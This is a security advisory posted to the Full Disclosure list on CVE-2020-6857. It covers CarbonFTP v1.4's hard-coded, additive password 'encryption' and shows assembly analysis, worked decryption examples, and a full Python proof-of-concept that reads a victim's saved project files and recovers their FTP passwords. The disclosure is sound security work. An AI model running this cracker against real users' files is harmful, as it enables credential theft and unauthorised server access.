Message-ID: <CAFD2FDNJ5qFw5T0b-M-0s4rWEN-5AAdF0UthqUg0W9NxZiez-Q@mail.gmail.com>
Date: Wed, 22 Jan 2020 01:19:19 -0500
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] [UPDATED - POC] Neowise CarbonFTP v1.4 / Insecure Proprietary
 Password Encryption / CVE-2020-6857

Updated, exploit PoC had a check for an unused module was testing and
removed, had two versions but previously sent the wrong one.

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/NEOWISE-CARBONFTP-v1.4-INSECURE-PROPRIETARY-PASSWORD-ENCRYPTION.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec


[Vendor]
www.neowise.com


[Product]
CarbonFTP v1.4

CarbonFTP is a file synchronization tool that enables you to synch local
files with a remote FTP server and vice versa.
It provides a step-by-step wizard to select the folders to be synchronized,
the direction of the synchronization and option
to set file masks to limit the transfer to specific file types. Your
settings can be saved as projects, so they can be
quickly re-used later.

Download: https://www.neowise.com/freeware/
Hash: 7afb242f13a9c119a17fe66c6f00a1c8


[Vulnerability Type]
Insecure Proprietary Password Encryption


[CVE Reference]
CVE-2020-6857


[Affected Component]
Password Encryption


[Impact Escalation of Privileges]
true


[Impact Information Disclosure]
true


[Security Issue]
CarbonFTP v1.4 uses insecure proprietary password encryption with a
hard-coded weak encryption key.
The key for locally stored FTP server passwords is hard-coded in the
binary. Passwords encoded as hex
are coverted to decimal which is then computed by adding the key "97F" to
the result. The key 97F seems
to be the same for all executables across all systems. Finally, passwords
are stored as decimal values.

If a user chooses to save the project the passwords are stored in ".CFTP"
local configuration files.
They can be found under
"C:\Users\<VICTIM>\AppData\Roaming\Neowise\CarbonFTPProjects".

e.g.

Password=STRING|"2086721956209392195620939"

Observing some very short password examples we see interesting patterns:

27264 27360 27360 27360 27360    =   a
27520 27617 27617 27617 27617    =   b
27266 27616 27360 27361 27616    =   aab
27521 27616 27616 27616 27616    =   ba

Password encryption/decryption is as follows.

Encryption process example.
484C as decimal is the value 18508
97F hex to decimal is the value 2431 (encrypt key)
18508 + 2431 = 20939, the value 20939 would then represent the ascii
characters "HL".

To decrypt we just perform the reverse of the operation above.
20939 - 2431 = 18508
Next, convert the decimal value 18508 to hex and we get 484C.
Finally, convert the hex value 484C to ascii to retrieve the plaintext
password of "HL".

CarbonFTP passwords less than nine characters are padded using chars from
the current password up until
reaching a password length of nine bytes.

The two char password "XY" in encrypted form "2496125048250482504825048" is
padded with "XY" until reaching a length
of nine bytes "XYXYXYXYX".

Similarly, the password "HELL" is "2086721956209392195620939" and again is
padded since its length is less than nine bytes.

Therefore, we will get several cracked password candidates like: "HELLHELL
| HELLHEL | HELLH | HELL | HEL | HE | HELLHELLH"
However, the longer the password the easier it becomes to crack them, as we
can decrypt passwords in one
shot without having several candidates to choose from with one of them
being the correct password.

Therefore, "LOOOOONGPASSWORD!" is stored as the encrypted string
"219042273422734224782298223744247862350210947"
and because it is greater than nine bytes it is cracked without any
candidate passwords returned.

From offset 0047DA6F to 0047DAA0 is the loop that performs the password
decryption process.
Using the same password "HELL" as example.

BPX @47DA6F

0047DA6F | 8D 45 F0                 | lea eax,dword ptr ss:[ebp-10]
          |
0047DA72 | 50                       | push eax
           |
0047DA73 | B9 05 00 00 00           | mov ecx,5
          |
0047DA78 | 8B D3                    | mov edx,ebx
          |
0047DA7A | 8B 45 FC                 | mov eax,dword ptr ss:[ebp-4]
           | [ebp-4]:"2086721956209392195620939"
0047DA7D | E8 F6 6B F8 FF           | call carbonftp.404678
          |
0047DA82 | 83 C3 05                 | add ebx,5
          |
0047DA85 | 8B 45 F0                 | mov eax,dword ptr ss:[ebp-10]
          | [ebp-10]:"20867"
0047DA88 | E8 AF AD F8 FF           | call carbonftp.40883C
          |
0047DA8D | 2B 45 F8                 | sub eax,dword ptr ss:[ebp-8]
           | ;<======= BOOOM ENCRYPT/DECRYPT KEY 97F IN DECIMAL ITS 2431
0047DA90 | 66 89 06                 | mov word ptr ds:[esi],ax
           |
0047DA93 | 83 C6 02                 | add esi,2
          |
0047DA96 | 8B 45 FC                 | mov eax,dword ptr ss:[ebp-4]
           | [ebp-4]:"2086721956209392195620939"
0047DA99 | E8 7A 69 F8 FF           | call carbonftp.404418
          |
0047DA9E | 3B D8                    | cmp ebx,eax
          |
0047DAA0 | 7E CD                    | jle carbonftp.47DA6F
           |


Ok, simple explanation after SetBPX in 47DA88...

At offset 0047DA8D,  97F is subtracted at [ebp-8] local variable which
equals the decimal value 2431 (hex 97F)
we also see EAX holds the value 55C4
sub eax,dword ptr ss:[ebp-8]
therefore, 55C4 – 97F = 4C45            <======= ENCRYPT/DECRYPT KEY
PROCESS.
mov word ptr ds:[esi],ax
add esi, 2  which is 4C45 + 2 = 4C47    <===== THEN

Given a two letter combination like "HL":
484C as decimal is 18508
97F hex to decimal is 2431
18508 + 2431 = 20939 = "HL"

Done!


[Exploit/POC]
"CarbonFTPExploit.py"

import time, string, sys, argparse, os

#Sample test password
#LOOOOONGPASSWORD! = 219042273422734224782298223744247862350210947

key="97F"  #2431 in decimal, the weak hardcoded encryption key within the
vuln program.
chunk_sz=5 #number of bytes we must decrypt the password by.

#Password is stored here:
#C:\Users\<VICTIM>\AppData\Roaming\Neowise\CarbonFTPProjects\<FILE>.CFTP

#Neowise CarbonFTP v1.4
#Insecure Proprietary Password Encryption
#By John Page (aka hyp3rlinx)
#Apparition Security
#===================================================

def carbonftp_conf(conf_file):
    p=""
    pipe=-1
    passwd=""
    lst_of_passwds=[]
    try:
        for p in conf_file:
            idx = p.find("Password=STRING|")
            if idx != -1:
                pipe = p.find("|")
                if pipe != -1:
                    passwd = p[pipe + 2: -2]
                    print(" Password found: "+ passwd)
                    lst_of_passwds.append(passwd)
    except Exception as e:
        print(str(e))
    return lst_of_passwds


def reorder(lst):
    k=1
    j=0
    for n in range(len(lst)):
        k+=1
        j+=1
        try:
            tmp = lst[n+k]
            a = lst[n+j]
            lst[n+j] = tmp
            lst[n+k] = a
        except Exception as e:
            pass
    return ''.join(lst)


def dec2hex(dec):
    tmp = str(hex(int(dec)))
    return str(tmp[2:])


def hex2ascii(h):
    h=h.strip()
    try:
        hex_val = h.decode("hex")
    except Exception as e:
        print("[!] Not a valid hex string.")
        exit()
    filtered_str = filter(lambda s: s in string.printable, hex_val)
    return filtered_str


def chunk_passwd(passwd_lst):
    lst = []
    for passwd in passwd_lst:
        while passwd:
            lst.append(passwd[:chunk_sz])
            passwd = passwd[chunk_sz:]
    return lst


cnt = 0
passwd_str=""
def deob(c):

    global cnt, passwd_str

    tmp=""

    try:
        tmp = int(c) - int(key, 16)
        tmp = dec2hex(tmp)
    except Exception as e:
        print("[!] Not a valid CarbonFTP encrypted password.")
        exit()

    b=""
    a=""

     #Seems we can delete the second char as its most always junk.
    if cnt!=1:
        a = tmp[:2]
        cnt+=1
    else:
        b = tmp[:4]

    passwd_str += hex2ascii(a + b)

    hex_passwd_lst = list(passwd_str)
    return hex_passwd_lst


def no_unique_chars(lst):
    c=0
    k=1
    j=0
    for i in range(len(lst)):
        k+=1
        j+=1
        try:
            a = lst[i]
            b = lst[i+1]
            if a != b:
                c+=1
            elif c==0:
                print("[!] Possible one char password?: " +str(lst[0]))
                return lst[0]
        except Exception as e:
            pass
    return False


def decryptor(result_lst):

    global passwd_str, sz

    final_carbon_passwd=""

    print(" Decrypting ... \n")
    for i in result_lst:
        print("[-] "+i)
        time.sleep(0.1)
        lst = deob(i)

    #Re-order chars to correct sequence using custom swap function
(reorder).
    reordered_pass = reorder(lst)
    sz = len(reordered_pass)

    #Flag possible single char password.
    no_unique_chars(lst)

    print("[+] PASSWORD LENGTH: " + str(sz))
    if sz == 9:
        return (reordered_pass[:-1] + " | " + reordered_pass[:-2] + " | " +
reordered_pass[:-4] + " | " +
                reordered_pass[:-5] +" | " + reordered_pass[:-6] + " | "+
reordered_pass[:-7] + " | " + reordered_pass)

    #Shorter passwords less then nine chars will have several candidates
    #as they get padded with repeating chars so we return those.

    passwd_str=""
    return reordered_pass


def display_cracked_passwd(sz, passwd):
    if sz==9:
        print("[*] PASSWORD CANDIDATES: "+ passwd + "\n")
    else:
        print("[*] DECRYPTED PASSWORD: "+passwd + "\n")


def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--user", help="Username to crack a directory
of Carbon .CFTP password files")
    parser.add_argument("-p", "--encrypted_password", help="Crack a single
encrypted password")
    return parser.parse_args()


def main(args):

    global passwd_str, sz
    victim=""

    if args.user and args.encrypted_password:
        print("[!] Supply a victims username -u or single encrypted
password -p, not both.")
        exit()

    print("[+] Neowise CarbonFTP v1.4")
    time.sleep(0.1)
    print("[+] CVE-2020-6857 Insecure Proprietary Password Encryption")
    time.sleep(0.1)
    print("[+] Discovered and cracked by hyp3rlinx")
    time.sleep(0.1)
    print("[+] ApparitionSec\n")
    time.sleep(1)

    #Crack a dir of carbonFTP conf files containing encrypted passwords -u
flag.
    if args.user:
        victim = args.user

os.chdir("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/")
        dir_lst = os.listdir(".")
        for c in dir_lst:

f=open("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/"+c,
"r")
            #Get encrypted password from conf file
            passwd_enc = carbonftp_conf(f)
            #Break up into 5 byte chunks as processed by the proprietary
decryption routine.
            result_lst = chunk_passwd(passwd_enc)
            #Decrypt the 5 byte chunks and reassemble to the cleartext
password.
            cracked_passwd = decryptor(result_lst)
            #Print cracked password or candidates.
            display_cracked_passwd(sz, cracked_passwd)
            time.sleep(0.3)
            passwd_str=""
            f.close()


    #Crack a single password -p flag.
    if args.encrypted_password:
        passwd_to_crack_lst = []
        passwd_to_crack_lst.append(args.encrypted_password)
        result = chunk_passwd(passwd_to_crack_lst)
        #Print cracked password or candidates.
        cracked_passwd = decryptor(result)
        display_cracked_passwd(sz, cracked_passwd)


if __name__=="__main__":

    parser = argparse.ArgumentParser()

    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        exit()

    main(parse_args())



[POC Video URL]
https://www.youtube.com/watch?v=q9LMvAl6LfE


[Network Access]
Local


[Severity]
High


[Disclosure Timeline]
Vendor Notification: Website contact form not working, several attempts :
January 12, 2020
CVE Assigned by mitre : January 13, 2020
January 20, 2020 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

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